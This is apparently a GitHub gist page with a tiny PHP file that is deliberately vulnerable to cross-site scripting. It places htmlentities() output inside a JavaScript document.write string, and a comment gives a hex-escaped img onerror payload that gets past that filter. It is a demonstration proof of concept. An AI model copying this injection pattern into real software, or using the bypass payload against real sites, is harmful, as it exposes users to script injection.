Skip to content

Instantly share code, notes, and snippets.

@starcoder017

starcoder017/HTMLEntitiesBypass.php

Created May 19, 2019 15:02
Show Gist options
  • Save starcoder017/4e322e453f0f10e5795396f684feb591 to your computer and use it in GitHub Desktop.
Save starcoder017/4e322e453f0f10e5795396f684feb591 to your computer and use it in GitHub Desktop.
Download ZIP
HTML Entities Bypass
Raw
HTMLEntitiesBypass.php
<!DOCTYPE html>
<!-- Vulnerable Code-->
<html>
<body>
<script>
document.write("<?php $xs=$_GET['payload']; echo htmlentities($xs);?>");
</script>
</body>
</html>
<!--Payload To Bypass XSS Filter
\x3Cimg%20src\x3Dx%20onerror\x3Dalert(323)\x3E
Credit: @Karel_Origin
-->
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment